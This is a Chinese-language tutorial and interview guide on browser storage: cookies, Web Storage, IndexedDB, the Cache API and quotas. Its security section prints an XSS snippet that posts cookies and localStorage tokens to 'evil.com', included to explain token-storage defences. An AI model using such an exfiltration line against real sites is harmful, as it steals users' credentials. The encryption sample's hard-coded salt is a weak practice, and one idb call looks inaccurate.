主题
浏览器存储
存储层次总览
浏览器提供了多种客户端存储方案,各自适用于不同的场景:
┌─────────────────────────────────────────────────────────────────┐
│ 浏览器存储体系 │
├────────────┬──────────────┬──────────┬───────────┬──────────────┤
│ Cookie │ Web Storage │IndexedDB │ Cache API │ 其他 │
│ │ ┌──────────┐ │ │ │ (WebSQL 已废) │
│ 4KB/条 │ │localStorage│ │ 无上限 │ 无上限 │ │
│ 50条/域 │ │ 5~10MB │ │(受配额) │(受配额) │ │
│ │ ├──────────┤ │ │ │ │
│ 随请求 │ │sessionStg │ │ │ │ │
│ 自动携带 │ │ 5~10MB │ │ │ │ │
│ │ └──────────┘ │ │ │ │
├────────────┴──────────────┴──────────┴───────────┴──────────────┤
│ Storage API(配额管理) │
│ navigator.storage.estimate() / persist() │
└─────────────────────────────────────────────────────────────────┘选型决策树
需要存储数据?
│
├─ 需要随 HTTP 请求自动发送?
│ └─ 是 → Cookie(认证 Token、会话标识)
│
├─ 数据量 < 5MB 且结构简单(字符串键值对)?
│ ├─ 需要跨 Tab 共享、持久化? → localStorage
│ └─ 仅当前会话/当前 Tab? → sessionStorage
│
├─ 数据量大 / 需要索引查询 / 结构化数据?
│ └─ IndexedDB(离线应用、大文件、复杂查询)
│
└─ 缓存 HTTP 响应(离线优先 / PWA)?
└─ Cache API + Service WorkerCookie(JS 操作视角)
Cookie 的属性详解(Domain / Path / Expires / Max-Age / HttpOnly / Secure / SameSite) 已在 http.md - Cookie 章节 中完整讲解,本节聚焦 JavaScript 如何操作 Cookie。
document.cookie 的局限
document.cookie 是浏览器最早提供的 Cookie 操作接口,但 API 设计非常原始:
js
document.cookie = 'name=hello; max-age=3600; path=/; secure; samesite=lax';
document.cookie = 'theme=dark; max-age=86400; path=/';document.cookie 的核心问题:
1. 写入不是覆盖,而是追加
document.cookie = 'a=1'
document.cookie = 'b=2'
→ document.cookie 的值为 "a=1; b=2"
→ 设置同名 Cookie 才是更新
2. 读取返回所有 Cookie 的扁平字符串
document.cookie → "a=1; b=2; theme=dark"
→ 无法直接获取某个 Cookie
→ 无法读取 Expires / Path 等属性
3. 删除需要设置过期时间
document.cookie = 'name=; max-age=0'
→ 没有 delete 方法
4. 无法操作 HttpOnly Cookie
→ 设置了 HttpOnly 的 Cookie 对 JS 完全不可见
→ 这是安全特性,防止 XSS 窃取
5. 同步阻塞操作
→ 读写都在主线程同步执行js
function getCookie(name) {
const match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;]*)'));
return match ? decodeURIComponent(match[1]) : null;
}
function setCookie(name, value, options = {}) {
let cookie = `${encodeURIComponent(name)}=${encodeURIComponent(value)}`;
if (options.maxAge) cookie += `; max-age=${options.maxAge}`;
if (options.path) cookie += `; path=${options.path}`;
if (options.domain) cookie += `; domain=${options.domain}`;
if (options.secure) cookie += '; secure';
if (options.sameSite) cookie += `; samesite=${options.sameSite}`;
document.cookie = cookie;
}
function deleteCookie(name, path = '/') {
document.cookie = `${encodeURIComponent(name)}=; max-age=0; path=${path}`;
}CookieStore API(现代方案)
Chrome 87+ 提供了异步、类型安全的 Cookie 操作接口:
js
await cookieStore.set('theme', 'dark');
await cookieStore.set({
name: 'session',
value: 'abc123',
expires: Date.now() + 86400000,
path: '/',
sameSite: 'lax',
});
const cookie = await cookieStore.get('theme');
// { name: 'theme', value: 'dark', domain: null, path: '/', ... }
const all = await cookieStore.getAll();
// [{ name: 'theme', ... }, { name: 'session', ... }]
await cookieStore.delete('theme');CookieStore vs document.cookie:
特性 document.cookie CookieStore API
────── ────────────── ───────────────
同步/异步 同步(阻塞主线程) 异步(Promise)
读取格式 扁平字符串 结构化对象
获取单个 Cookie 需手动解析 .get(name)
监听变化 无 change 事件
Service Worker 不可用 可用
浏览器支持 所有浏览器 Chrome 87+、Edge 87+js
cookieStore.addEventListener('change', (event) => {
for (const cookie of event.changed) {
console.log(`${cookie.name} 被设置为 ${cookie.value}`);
}
for (const cookie of event.deleted) {
console.log(`${cookie.name} 被删除`);
}
});Cookie 大小与数量限制
限制项 标准 / 实际表现
───── ─────────────
单个 Cookie 大小 约 4KB(含 name=value 及属性)
每个域名 Cookie 数量 约 50 个(超出后按 LRU 淘汰旧的)
所有域名 Cookie 总量 浏览器实现不同,通常约 3000 个
注意:Cookie 随每次同源 HTTP 请求发送
→ 20 个 Cookie × 4KB = 80KB 额外请求开销
→ 这就是为什么静态资源要放在无 Cookie 的 CDN 域名下Web Storage
localStorage vs sessionStorage
localStorage sessionStorage
──────────── ──────────────
生命周期 永久(手动清除才消失) 页面会话期间
(Tab 关闭即清除)
作用域 同源下所有 Tab 共享 仅当前 Tab
(同源不同 Tab 不共享)
容量 5~10MB(不同浏览器不同) 5~10MB
数据格式 仅字符串(需手动序列化) 仅字符串
同步/异步 同步(阻塞主线程) 同步
随请求发送 ❌ ❌sessionStorage 的"会话"定义:
1. 用户打开新 Tab 访问同一 URL → 新的 sessionStorage(不共享)
2. 通过 window.open / <a target="_blank"> 打开 → 复制一份当前 Tab 的 sessionStorage
3. 页面刷新 → sessionStorage 保留
4. Tab 关闭 → sessionStorage 清除
5. 浏览器崩溃恢复 Tab → sessionStorage 可能保留(浏览器实现不同)API
js
localStorage.setItem('user', JSON.stringify({ name: 'Alice', age: 25 }));
const user = JSON.parse(localStorage.getItem('user'));
localStorage.removeItem('user');
localStorage.clear();
console.log(localStorage.length);
console.log(localStorage.key(0));storage 事件(跨 Tab 通信)
当 同源的其他 Tab 修改了 localStorage 时,当前 Tab 可以监听到 storage 事件:
js
window.addEventListener('storage', (event) => {
// event.key — 被修改的键
// event.oldValue — 修改前的值
// event.newValue — 修改后的值
// event.url — 触发修改的页面 URL
// event.storageArea — localStorage 或 sessionStorage 对象
});storage 事件的关键特性:
1. 只在其他同源 Tab 触发,修改数据的当前 Tab 不触发
2. 只有 localStorage 能触发,sessionStorage 不行(因为不共享)
3. 可用于跨 Tab 通信(如登录状态同步、主题切换同步)js
// Tab A:发送消息
function broadcast(type, data) {
localStorage.setItem('__bus__', JSON.stringify({ type, data, t: Date.now() }));
}
broadcast('LOGOUT', { reason: 'session_expired' });
// Tab B:接收消息
window.addEventListener('storage', (e) => {
if (e.key !== '__bus__' || !e.newValue) return;
const { type, data } = JSON.parse(e.newValue);
if (type === 'LOGOUT') {
window.location.href = '/login';
}
});封装最佳实践
js
const storage = {
set(key, value, ttl) {
const item = {
value,
timestamp: Date.now(),
ttl: ttl || 0,
};
try {
localStorage.setItem(key, JSON.stringify(item));
} catch (e) {
if (e.name === 'QuotaExceededError') {
this.evict();
localStorage.setItem(key, JSON.stringify(item));
}
}
},
get(key) {
try {
const raw = localStorage.getItem(key);
if (!raw) return null;
const item = JSON.parse(raw);
if (item.ttl && Date.now() - item.timestamp > item.ttl) {
localStorage.removeItem(key);
return null;
}
return item.value;
} catch {
return null;
}
},
remove(key) {
localStorage.removeItem(key);
},
evict() {
const entries = [];
for (let i = 0; i < localStorage.length; i++) {
const key = localStorage.key(i);
try {
const item = JSON.parse(localStorage.getItem(key));
if (item && item.timestamp) {
entries.push({ key, timestamp: item.timestamp });
}
} catch {}
}
entries.sort((a, b) => a.timestamp - b.timestamp);
const removeCount = Math.max(1, Math.floor(entries.length * 0.2));
for (let i = 0; i < removeCount; i++) {
localStorage.removeItem(entries[i].key);
}
},
};
storage.set('profile', { name: 'Alice' }, 3600000);
storage.get('profile');封装要点:
1. 序列化:localStorage 只能存字符串,JSON.stringify/parse 包裹
2. 异常处理:
- JSON.parse 可能失败(数据被外部修改/损坏)
- 超出配额抛 QuotaExceededError → 做降级策略
3. 过期时间:原生不支持 TTL,需自行封装 timestamp + ttl
4. 淘汰策略:空间不足时按时间戳淘汰最旧的条目
5. 命名空间:多模块共用 localStorage 时加前缀避免冲突IndexedDB
为什么需要 IndexedDB
localStorage 的不足:
- 容量限制:5~10MB
- 仅存字符串:存对象需要序列化/反序列化(性能开销)
- 无法索引:查找特定数据需要遍历所有 key
- 同步阻塞:大数据量读写会阻塞主线程
- 无事务:并发读写可能导致数据不一致
IndexedDB 的优势:
- 容量大:数百 MB 甚至 GB 级(受存储配额限制)
- 结构化存储:直接存 JS 对象、文件、Blob
- 索引查询:在任意字段上建索引,快速检索
- 异步 API:不阻塞主线程
- 事务支持:保证数据一致性(原子性操作)
- 同源策略:数据隔离,安全可靠核心概念
┌─────────────────────────────────────────────────┐
│ Database(数据库) │
│ ├─ ObjectStore(对象仓库 ≈ 表) │
│ │ ├─ keyPath / autoIncrement(主键策略) │
│ │ ├─ Index(索引,加速查询) │
│ │ └─ Record(记录 = JS 对象) │
│ └─ ObjectStore ... │
├─────────────────────────────────────────────────┤
│ Transaction(事务) │
│ ├─ readonly → 只读事务(可并发) │
│ ├─ readwrite → 读写事务(排队执行) │
│ └─ versionchange → 升级事务(修改结构) │
├─────────────────────────────────────────────────┤
│ Cursor(游标) │
│ └─ 遍历 ObjectStore / Index 中的记录 │
└─────────────────────────────────────────────────┘
关键:
- 一个源(origin)可以有多个 Database
- 结构变更(创建/删除 ObjectStore、Index)只能在 upgradeneeded 回调中进行
- 所有数据操作都必须在 Transaction 中完成完整 CRUD 示例
js
function openDB(name, version) {
return new Promise((resolve, reject) => {
const request = indexedDB.open(name, version);
request.onupgradeneeded = (event) => {
const db = event.target.result;
if (!db.objectStoreNames.contains('users')) {
const store = db.createObjectStore('users', { keyPath: 'id', autoIncrement: true });
store.createIndex('nameIdx', 'name', { unique: false });
store.createIndex('emailIdx', 'email', { unique: true });
}
};
request.onsuccess = () => resolve(request.result);
request.onerror = () => reject(request.error);
});
}
async function addUser(db, user) {
return new Promise((resolve, reject) => {
const tx = db.transaction('users', 'readwrite');
const store = tx.objectStore('users');
const request = store.add(user);
request.onsuccess = () => resolve(request.result);
request.onerror = () => reject(request.error);
});
}
async function getUser(db, id) {
return new Promise((resolve, reject) => {
const tx = db.transaction('users', 'readonly');
const store = tx.objectStore('users');
const request = store.get(id);
request.onsuccess = () => resolve(request.result);
request.onerror = () => reject(request.error);
});
}
async function getUserByEmail(db, email) {
return new Promise((resolve, reject) => {
const tx = db.transaction('users', 'readonly');
const store = tx.objectStore('users');
const index = store.index('emailIdx');
const request = index.get(email);
request.onsuccess = () => resolve(request.result);
request.onerror = () => reject(request.error);
});
}
async function updateUser(db, user) {
return new Promise((resolve, reject) => {
const tx = db.transaction('users', 'readwrite');
const store = tx.objectStore('users');
const request = store.put(user);
request.onsuccess = () => resolve(request.result);
request.onerror = () => reject(request.error);
});
}
async function deleteUser(db, id) {
return new Promise((resolve, reject) => {
const tx = db.transaction('users', 'readwrite');
const store = tx.objectStore('users');
const request = store.delete(id);
request.onsuccess = () => resolve();
request.onerror = () => reject(request.error);
});
}
async function getAllUsers(db) {
return new Promise((resolve, reject) => {
const tx = db.transaction('users', 'readonly');
const store = tx.objectStore('users');
const request = store.getAll();
request.onsuccess = () => resolve(request.result);
request.onerror = () => reject(request.error);
});
}js
const db = await openDB('myApp', 1);
const id = await addUser(db, { name: 'Alice', email: 'alice@example.com', age: 25 });
const user = await getUser(db, id);
await updateUser(db, { id, name: 'Alice', email: 'alice@example.com', age: 26 });
await deleteUser(db, id);
const all = await getAllUsers(db);使用 idb 库简化
原生 IndexedDB API 基于事件回调,代码冗长。idb 是一个轻量封装库(~1KB),将回调转为 Promise:
js
import { openDB } from 'idb';
const db = await openDB('myApp', 1, {
upgrade(db) {
const store = db.createObjectStore('users', { keyPath: 'id', autoIncrement: true });
store.createIndex('email', 'email', { unique: true });
},
});
const id = await db.add('users', { name: 'Alice', email: 'alice@example.com' });
const user = await db.get('users', id);
const userByEmail = await db.getByIndex('users', 'email', 'alice@example.com');
await db.put('users', { id, name: 'Alice', email: 'alice@new.com' });
await db.delete('users', id);
const all = await db.getAll('users');IndexedDB vs localStorage
特性 IndexedDB localStorage
────── ────────── ────────────
容量 数百 MB ~ GB 5~10MB
数据类型 JS 对象、Blob、File、数组 仅字符串
查询能力 索引 + 游标 + 范围查询 仅 key 精确查询
同步/异步 异步(不阻塞主线程) 同步(阻塞)
事务 支持(原子性操作) 不支持
适用场景 离线数据、大文件、复杂查询 简单配置、小数据
API 复杂度 较高(原生)/ 低(idb 库) 极低Cache API
核心概念
Cache API 提供了对 HTTP 请求/响应对的缓存控制,是 PWA 离线体验的基础:
┌──────────────────────────────────────────────┐
│ CacheStorage(全局入口:caches) │
│ ├─ Cache 'v1-static' │
│ │ ├─ Request('/app.js') → Response │
│ │ ├─ Request('/style.css') → Response │
│ │ └─ Request('/logo.svg') → Response │
│ ├─ Cache 'v1-api' │
│ │ ├─ Request('/api/users') → Response │
│ │ └─ Request('/api/posts') → Response │
│ └─ ... │
└──────────────────────────────────────────────┘
关键特性:
- 存储的是 Request → Response 的映射
- 与 Service Worker 配合实现离线优先
- 缓存不会自动过期,需要手动管理
- 遵循同源策略,但可缓存跨域响应(opaque response)API 操作
js
const cache = await caches.open('v1-static');
await cache.add('/style.css');
await cache.addAll(['/app.js', '/style.css', '/logo.svg']);
await cache.put('/api/data', new Response(JSON.stringify({ ok: true }), {
headers: { 'Content-Type': 'application/json' },
}));
const response = await cache.match('/style.css');
if (response) {
const text = await response.text();
}
const allResponses = await cache.matchAll('/api/', { ignoreSearch: true });
await cache.delete('/style.css');
await caches.delete('v1-static');
const keys = await caches.keys();与 Service Worker 配合
js
self.addEventListener('install', (event) => {
event.waitUntil(
caches.open('v1-static').then((cache) =>
cache.addAll([
'/',
'/index.html',
'/app.js',
'/style.css',
])
)
);
});
self.addEventListener('activate', (event) => {
event.waitUntil(
caches.keys().then((keys) =>
Promise.all(
keys
.filter((key) => key !== 'v1-static' && key !== 'v1-api')
.map((key) => caches.delete(key))
)
)
);
});
self.addEventListener('fetch', (event) => {
event.respondWith(
caches.match(event.request).then((cached) => cached || fetch(event.request))
);
});缓存策略
策略 1:Cache First(缓存优先)
请求 ──→ 缓存中有? ──是──→ 返回缓存
│
否
↓
网络请求 ──→ 写入缓存 ──→ 返回响应
适用:不常变化的静态资源(JS/CSS/图片/字体)js
async function cacheFirst(request) {
const cached = await caches.match(request);
if (cached) return cached;
const response = await fetch(request);
const cache = await caches.open('v1-static');
cache.put(request, response.clone());
return response;
}策略 2:Network First(网络优先)
请求 ──→ 网络请求 ──成功──→ 写入缓存 ──→ 返回响应
│
失败/超时
↓
返回缓存(兜底)
适用:实时性要求高的内容(API 数据、新闻页面)js
async function networkFirst(request) {
try {
const response = await fetch(request);
const cache = await caches.open('v1-api');
cache.put(request, response.clone());
return response;
} catch {
return caches.match(request);
}
}策略 3:Stale While Revalidate(先用缓存,后台更新)
请求 ──→ 缓存中有? ──是──→ 立即返回缓存
│ │
│ 同时发网络请求
│ ↓
│ 更新缓存(下次请求用新版本)
否
↓
网络请求 ──→ 写入缓存 ──→ 返回响应
适用:更新频率中等的内容(用户头像、配置、博客文章)js
async function staleWhileRevalidate(request) {
const cache = await caches.open('v1-dynamic');
const cached = await cache.match(request);
const fetchPromise = fetch(request).then((response) => {
cache.put(request, response.clone());
return response;
});
return cached || fetchPromise;
}存储方案横向对比
| 特性 | Cookie | localStorage | sessionStorage | IndexedDB | Cache API |
|---|---|---|---|---|---|
| 容量 | ~4KB/条,~50条/域 | 5~10MB | 5~10MB | 数百MB~GB | 数百MB~GB |
| 生命周期 | Expires/Max-Age 控制 | 永久 | 当前 Tab 会话 | 永久 | 永久(手动管理) |
| 数据格式 | 字符串 | 字符串 | 字符串 | 结构化对象/Blob | Request→Response |
| 同步/异步 | 同步 | 同步 | 同步 | 异步 | 异步 |
| 随请求发送 | ✅ 自动携带 | ❌ | ❌ | ❌ | ❌ |
| 索引/查询 | ❌ | ❌ 仅 key | ❌ 仅 key | ✅ 索引+游标 | ✅ URL 匹配 |
| Web Worker 可用 | ❌ | ❌ | ❌ | ✅ | ✅ |
| 事务支持 | ❌ | ❌ | ❌ | ✅ | ❌ |
| 适用场景 | 认证Token、会话ID、用户偏好 | 简单配置、主题、表单草稿 | 临时状态、一次性表单 | 离线数据、大文件、结构化查询 | HTTP响应缓存、PWA离线 |
存储安全
XSS 下的存储风险
XSS(跨站脚本攻击)成功后,攻击者可以通过注入的 JS 代码访问:
能偷到的:
✅ document.cookie(未设 HttpOnly 的 Cookie)
✅ localStorage 全部数据
✅ sessionStorage 全部数据
✅ IndexedDB 全部数据
偷不到的:
❌ HttpOnly Cookie(JS 完全不可见)
❌ 其他源的存储数据(同源策略保护)
攻击示例:
// XSS 注入的恶意脚本
fetch('https://evil.com/steal', {
method: 'POST',
body: JSON.stringify({
cookies: document.cookie,
token: localStorage.getItem('access_token'),
user: localStorage.getItem('user_profile'),
}),
});Token 存储方案对比
方案 1:HttpOnly Cookie 存 Token(推荐)
──────────────────────────────────────
Set-Cookie: access_token=xxx; HttpOnly; Secure; SameSite=Strict; Path=/
优点:
✅ XSS 无法窃取(JS 不可见)
✅ 自动随请求携带(无需手动处理)
✅ SameSite 防 CSRF
缺点:
⚠️ 需要服务端配合设置 Cookie
⚠️ 跨域场景需要配置 CORS + SameSite=None
⚠️ 移动端 WebView 可能有兼容问题
方案 2:localStorage 存 Token(使用广泛但有风险)
────────────────────────────────────────────────
localStorage.setItem('access_token', token)
fetch('/api', { headers: { Authorization: 'Bearer ' + token } })
优点:
✅ 实现简单,前端完全控制
✅ 跨域请求灵活(手动设置 Header)
✅ 与 SPA / CSR 架构天然契合
缺点:
❌ XSS 可直接窃取 Token
❌ 需要手动在每个请求中携带
方案 3:内存变量 + HttpOnly Refresh Token(最佳安全实践)
──────────────────────────────────────────────────────
Access Token 仅存在 JS 变量中(刷新页面丢失)
Refresh Token 存在 HttpOnly Cookie 中
流程:
1. 登录 → 服务端返回 HttpOnly Cookie(Refresh Token)+ Response Body(Access Token)
2. 前端将 Access Token 存在内存变量中
3. API 请求用 Authorization Header 携带 Access Token
4. Access Token 过期 → 用 Refresh Token Cookie 自动刷新
5. 页面刷新 → Access Token 丢失 → 静默刷新获取新 Token
优点:
✅ XSS 无法窃取 Refresh Token(HttpOnly)
✅ Access Token 在内存中,窗口关闭即消失
✅ 攻击窗口极小(Access Token 短过期时间)存储加密
js
async function deriveKey(password) {
const encoder = new TextEncoder();
const keyMaterial = await crypto.subtle.importKey(
'raw',
encoder.encode(password),
'PBKDF2',
false,
['deriveKey']
);
return crypto.subtle.deriveKey(
{ name: 'PBKDF2', salt: encoder.encode('fixed-salt'), iterations: 100000, hash: 'SHA-256' },
keyMaterial,
{ name: 'AES-GCM', length: 256 },
false,
['encrypt', 'decrypt']
);
}
async function encryptData(data, password) {
const key = await deriveKey(password);
const encoder = new TextEncoder();
const iv = crypto.getRandomValues(new Uint8Array(12));
const encrypted = await crypto.subtle.encrypt(
{ name: 'AES-GCM', iv },
key,
encoder.encode(JSON.stringify(data))
);
return {
iv: Array.from(iv),
data: Array.from(new Uint8Array(encrypted)),
};
}
async function decryptData(encrypted, password) {
const key = await deriveKey(password);
const decrypted = await crypto.subtle.decrypt(
{ name: 'AES-GCM', iv: new Uint8Array(encrypted.iv) },
key,
new Uint8Array(encrypted.data)
);
return JSON.parse(new TextDecoder().decode(decrypted));
}存储加密注意事项:
1. 加密后的数据存到 localStorage / IndexedDB 中
2. 密钥不能存在客户端(否则等于没加密)
→ 用用户密码派生密钥
→ 或用服务端下发的临时密钥
3. Web Crypto API 是浏览器原生加密 API(比 CryptoJS 更安全、更快)
4. 加密不能替代 HttpOnly —— XSS 可以调用你的解密函数
5. 加密适用于:防止浏览器本地数据被物理访问时泄露存储配额
Storage API
js
const estimate = await navigator.storage.estimate();
console.log(`已用: ${(estimate.usage / 1024 / 1024).toFixed(2)} MB`);
console.log(`配额: ${(estimate.quota / 1024 / 1024).toFixed(2)} MB`);
console.log(`使用率: ${((estimate.usage / estimate.quota) * 100).toFixed(1)}%`);浏览器存储配额规则:
Chrome / Edge:
- 总配额:磁盘可用空间的 60%(上限不超过磁盘总量的一半)
- 每个源的配额:总配额的 75%(即磁盘可用空间的 ~45%)
Firefox:
- 每个源最多 2GB(可能更大,取决于磁盘)
- 全局上限:磁盘可用空间的 50%
Safari:
- 每个源约 1GB
- 超过时提示用户授权
配额包含:IndexedDB + Cache API + Service Worker + OPFS
不包含:Cookie、localStorage、sessionStorage(有独立限制)驱逐策略
当存储空间不足时,浏览器会自动驱逐(清除)数据:
驱逐规则(LRU — Least Recently Used):
1. 优先驱逐最久未使用的源的数据
2. 整个源的数据一起被清除(IndexedDB + Cache + SW 全删)
3. 不会只删一个源的部分数据
驱逐优先级:
┌───────────────────────────────────────┐
│ Best Effort(默认) │
│ → 存储空间不足时可能被浏览器驱逐 │
│ → 不会提前通知 │
└───────────────────────────────────────┘
↕
┌───────────────────────────────────────┐
│ Persistent(持久化) │
│ → 用户明确授权后,数据不会被自动驱逐 │
│ → 只有用户主动清除或代码主动删除 │
└───────────────────────────────────────┘持久化存储
js
if (navigator.storage && navigator.storage.persist) {
const persistent = await navigator.storage.persist();
if (persistent) {
console.log('存储已持久化,不会被自动驱逐');
} else {
console.log('持久化请求被拒绝');
}
}
const isPersisted = await navigator.storage.persisted();浏览器是否自动授予持久化权限:
Chrome 的启发式规则(不弹窗,自动判断):
- 用户将网站添加到书签 → ✅
- 网站有高互动度(频繁访问) → ✅
- 用户安装了 PWA → ✅
- 用户授予了通知权限 → ✅
Firefox:弹出权限请求对话框
Safari:不支持 persist(),有独立的 7 天策略
→ 用户 7 天内未访问,数据可能被清除(ITP)面试高频题
1. Cookie、localStorage、sessionStorage 三者的区别?
Cookie 容量约 4KB/条,会随每次同源 HTTP 请求自动携带(这是最本质的区别),生命周期由 Expires/Max-Age 控制,可设置 HttpOnly 禁止 JS 访问,适合存认证 Token 和会话标识。localStorage 容量 5~10MB,永久存储直到手动清除,同源下所有 Tab 共享,仅支持字符串键值对,适合存用户偏好设置。sessionStorage 容量与 localStorage 相同,但生命周期仅限当前 Tab 会话(Tab 关闭即清除),且同源的不同 Tab 之间互不共享,适合存临时状态。三者都是同步 API,都受同源策略限制。核心选择逻辑:需要自动随请求发送 → Cookie;需要持久化的简单数据 → localStorage;需要仅当前会话有效的临时数据 → sessionStorage。
2. 如何用 localStorage 实现跨 Tab 通信?有什么限制?
利用 storage 事件:当一个 Tab 修改了 localStorage,同源的其他 Tab 会触发 window.addEventListener('storage', callback)。回调参数包含 key、oldValue、newValue、url 等信息。典型实现是约定一个消息总线 key(如 __bus__),写入方将消息 JSON 序列化后写入,监听方解析后处理。限制:①只在其他 Tab 触发,修改数据的当前 Tab 不会触发;②只有 localStorage 有效,sessionStorage 因为不跨 Tab 共享所以无法触发;③写入相同值不会触发事件;④如果需要双向通信,更推荐使用 BroadcastChannel API。
3. IndexedDB 相比 localStorage 的优势在哪?什么场景下该用 IndexedDB?
IndexedDB 是浏览器内置的结构化数据库,主要优势有五个:①容量大——数百 MB 到 GB 级别,远超 localStorage 的 5~10MB;②直接存储 JS 对象——不需要 JSON 序列化,还支持存 Blob 和 File;③支持索引——可以在任意字段建索引实现快速查询,而 localStorage 只能按 key 精确查找;④异步 API——不阻塞主线程,大数据操作也不影响页面交互;⑤事务支持——保证批量操作的原子性。适用场景:离线优先应用(如离线文档编辑器)、大量结构化数据(如邮件客户端缓存数千封邮件)、文件缓存(如图片编辑器缓存用户素材)。简单场景(用户偏好、主题配置等)用 localStorage 就够了。
4. Service Worker 的 Cache API 有哪些常见缓存策略?
三种主要策略:①Cache First(缓存优先)——先查缓存,命中则直接返回,未命中再发网络请求并写入缓存,适合不常变化的静态资源(JS/CSS/图片/字体);②Network First(网络优先)——先发网络请求,成功则更新缓存并返回,失败或超时时返回缓存兜底,适合实时性要求高的内容(API 数据、新闻页面);③Stale While Revalidate(先用缓存,后台更新)——有缓存就立即返回旧版本给用户,同时后台发网络请求更新缓存,下次请求用新数据,适合更新频率中等的内容(用户头像、博客文章)。选择逻辑取决于对"实时性"和"加载速度"的权衡。
5. Token 应该存在 Cookie 还是 localStorage?为什么?
从安全角度看,推荐用 HttpOnly Cookie 存储 Token。原因:HttpOnly Cookie 对 JavaScript 完全不可见,即使网站存在 XSS 漏洞,攻击者注入的脚本也无法通过 document.cookie 读取 Token;而 localStorage 中的 Token 在 XSS 下可被直接读取(localStorage.getItem('token'))。Cookie 还可配合 SameSite=Strict/Lax 防止 CSRF。更高安全要求的方案是"Access Token 存内存变量 + Refresh Token 存 HttpOnly Cookie"——Access Token 短过期、Refresh Token 不可被 JS 访问,即使 XSS 攻击窗口也极小。localStorage 存 Token 的优点是实现简单、跨域灵活,但必须做好严格的 XSS 防护(CSP、输入过滤、输出编码)。
追问思考
navigator.storage.estimate()返回的quota在不同浏览器下差异很大,Safari 的 ITP(Intelligent Tracking Prevention)对存储有什么特殊限制?7 天清除策略具体是怎么触发的?- IndexedDB 的事务有
readonly和readwrite两种模式,为什么readonly事务可以并发而readwrite必须排队?如果一个readwrite事务长时间不提交会怎样? - Cache API 存储的是 Response 对象的完整克隆,如果缓存了一个
opaque response(跨域不带 CORS 的响应),它的status是 0 且 body 不可读——那这种缓存在 Service Worker 中有什么实际用途? - localStorage 的
storage事件只在其他 Tab 触发,BroadcastChannel 和 SharedWorker 分别是如何解决跨 Tab 通信的?三者在浏览器兼容性和 API 复杂度上有什么差异? - 在 SSR(服务端渲染)应用中,
localStorage和IndexedDB在服务端不可用——实际项目中如何优雅地处理"客户端存储在服务端不存在"的问题?常见的兼容方案有哪些?